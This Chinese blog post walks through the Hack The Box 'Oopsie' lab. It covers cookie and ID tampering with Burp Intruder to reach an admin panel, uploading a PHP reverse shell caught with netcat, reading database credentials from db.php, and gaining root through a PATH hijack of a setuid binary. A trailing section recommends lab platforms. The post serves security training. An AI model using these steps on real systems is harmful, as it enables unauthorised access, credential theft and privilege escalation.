hack the box靶场oopsie靶机

本文详细介绍了进行Web安全渗透测试的过程,包括利用proxy截取本地流量,使用BurpSuite进行网页爬取和漏洞挖掘,通过修改cookie获取上传页面权限,爆破ID以获取管理员权限,最终通过构造恶意脚本提升权限并读取敏感文件,揭示了Web应用中的安全漏洞和防护措施的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开靶机,看一下第一个问题:
在这里插入图片描述
问:什么可以拦截本地的流量?
答案:看着y结尾,应该是proxy,输入正确
第二问:
在这里插入图片描述
问:登录界面在什么文件夹下面?
答案:/cdn-cgi/login。知道这个页面的最直接的方式是f12后看下页面,能看到有一个cdn-cgi/login相关的信息。同时,根据提示,可以使用burpsuite爬取,这也是更加合适的方式,因为爬取能提供我们下一步信息。
在burpsuite中爬取这个网站,操作就是拦截数据包后在target中右击网站选择spider this host即可。然后能发现以下信息,这就是答案。
在这里插入图片描述
第三个问题:
在这里插入图片描述
问:可以修改什么来获取到上传的页面?
回答:cookie。继续看第二问的截图,在request栏下面,cookie明显是user的id的形式,所以修改这个很可能能拿到上传的页面。
第四个问题:
在这里插入图片描述
问:上传的页面在哪里?
回答:/uploads。这题我没进行下一步操作我直接猜出来的。

第五个问题:

问:
回答:
这题的操作实现步骤比较多,思路如下:
通过问题三的爬虫可以知道,其中有一个请求中是包含ID的,而且这个ID是会反映出用户的角色的,注意,虽然cookie部分有user以及role,但是修改id还是能知道用户的角色。
在这里插入图片描述
上述链接渲染的页面如下:
在这里插入图片描述
那么思路就很直接了,通过爆破看一下修改不同的id看会出现什么。
将数据包发送至intrude,position选择id,payload1-100,step为1,然后进行爆破
在这里插入图片描述
在这里插入图片描述
选择attack,看下结果,很明显有几个包是和其他的不一样,下面试id=30时的包,能看到用户是super admin。
在这里插入图片描述
现在手里有了super admin的ID,那么我们就可以通过修改cookie以及上面请求的链接进入到super admin的后台了。修改后进行重放,进入后台成功。
在这里插入图片描述
接着准备一下shell,后面的步骤参考了这位大佬的文章(https://blog.csdn.net/m0_48066270/article/details/108641892)
复制kali自带的shell到桌面

cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop

然后修改一下其中的ip地址
在这里插入图片描述
使用burp拦截上传页面的信息,复制爆破的id=30的信息修改,如下:
在这里插入图片描述
点击forward后能拿到上传的页面
在这里插入图片描述
在选择文件后,继续点击upload后拦截包,在refer下面添加以下内容:

cookie: user=86575; role=super admin

然后forward出去,上传成功
在这里插入图片描述
经过前面几个问题,我们能知道上传的地方是uploads。首先我们使用nc监听一下1234端口

nc -nvvlp 1234

接着新开一个窗口,使用curl触发shell

curl http://10.129.5.255/uploads/php-reverse-shell.php

这样在nc中拿到了shell(能发现我这个地方ip变了,是因为老是上传不成功,重启了机器)
在这里插入图片描述
在shell中找到以下路径

cd /var/www/html/cdn-cgi/login

然后读取其中的db.php,能拿到数据库的账户和密码
在这里插入图片描述
至此,解决了第六个问题:
在这里插入图片描述
问:robert用户包含的账户密码文件是哪个?
答案:db.php
继续访问以下路径

cd /home/robert

读取其中的user.txt,拿到user的flag

cat user.txt

在这里插入图片描述
由于上述的shell不是交互的,因此通过下面这个命令将其提升为交互式的shell

SHELL=/bin/bash script -q /dev/null

在这里插入图片描述
切换为robert用户,密码为前面获取的db.php中的密码
在这里插入图片描述
使用id命令看下robert是否有特殊的权限,发现其还属于一个叫bugtracker的组。
在这里插入图片描述
接着使用下面两条命令查找一下bugtracker组有没有什么好东西,参考了大佬的思路。

find / -type f -group bugtracker 2>/dev/null 			//-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker								//-al 以长格式方式显示并且显示隐藏文件

在这里插入图片描述
发现其中的bugtracker命令是存在s权限的,“可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的ID值输出以该数字为编号的bug报告”–参考了大佬的
接着使用strings命令看下这个命令是怎么运行的
在这里插入图片描述
其中包含cat /root/reports/这条命令,其含义是bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限。且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root。

export PATH=/tmp:$PATH				//将/tmp目录设置为环境变量
cd /tmp/							//切换到/tmp目录下
echo '/bin/sh' > cat				//在此构造恶意的cat命令
chmod +x cat						//赋予执行权限

在这里插入图片描述
"
这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,我们运行一下bugtracker可以看出,此时robert用户临时具有了root权限,执行id命令发现只是robert用户的uid变为了root,不是真正的root用户
"–参考了大佬的
在这个地方执行上述命令后,要再执行一次

usr/bin/bugtracker

然后发现robert用户属于root了。前后对比如下
在这里插入图片描述
既然是root了,那么读取root下面的root.txt文件,拿到最后的flag
在这里插入图片描述
至此,完成了后面的7-12题。总体截图如下:

在这里插入图片描述在这里插入图片描述

这题做完了。很多内容参考了大佬们的内容,按我自己的实力,到了用户的flag那步就到顶了。参考了以下的内容:
https://zhuanlan.zhihu.com/p/332338130
https://blog.csdn.net/m0_48066270/article/details/108641892
https://www.cnblogs.com/black–horse/p/14715272.html

这其中还有很多不懂的东西,如:
最后拿到flag的一段执行的命令是什么意思?大部分都不太明白。回头我会再学习学习,总结总结。争取出个博客写明白些。

### 推荐的在线靶机平台 对于希望进行安全测试或学习渗透测试的人来说,在线靶机是一个非常有价值的资源。以下是几个值得推荐的在线靶机平台: #### 1. **VulnHub** VulnHub 是一个提供多种虚拟机镜像下载的服务平台,允许用户在本地环境中搭建漏洞环境并进行渗透测试练习。例如,“Lampião 1” 就是 VulnHub 提供的一个易受攻击的机器实例[^1]。虽然它主要依赖于本地部署,但其丰富的靶机种类可以满足不同层次的学习需求。 #### 2. **PentesterLab** PentesterLab 提供了一系列高质量的 Web 靶场,专注于常见的网络安全漏洞训练,如 XSS、SQL 注入、文件包含等[^2]。这些靶场可以直接通过浏览器访问,无需复杂的安装过程,非常适合初学者快速上手实践。 #### 3. **Hack The Box (HTB)** Hack The Box 是一个知名的在线渗透测试平台,提供了多个难度级别的虚拟目标主机以及网络服务挑战。它的特点是拥有活跃的社区支持和技术讨论区,能够帮助参与者解决遇到的问题并提升技能水平。不过需要注意的是,部分功能可能需要订阅付费版本才能解锁全部内容。 #### 4. **TryHackMe** TryHack Me 是另一个流行的在线教育平台,专为信息安全爱好者设计。这里不仅有针对特定技术点的小型房间(Room),还有完整的课程体系来引导新手逐步掌握专业知识。所有活动均基于云端运行,因此只需一台联网设备即可参与其中。 #### 5. **Cyber Ranges & Pentest-Lab** 如果倾向于自己动手构建个性化的实验环境,则可考虑利用开源工具链创建专属的安全研究空间。比如提到过的 `pentest-lab` 项目就借助 OpenStack 和容器化技术实现了灵活高效的自动化配置流程[^3]。这对于有一定基础的技术人员来说尤为适用,因为它给予了极大的自由度去调整参数设置以适配实际工作场景的需求。 以上列举了几种不同类型但都非常优秀的选项可供选择;具体选用哪一种取决于个人偏好及当前技术水平等因素考量之后再做决定会更好些。 ```bash # 示例:如何克隆 pentest-lab 开源仓库到本地 git clone https://gitcode.com/gh_mirrors/pe/pentest-lab.git cd pentest-lab/ ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值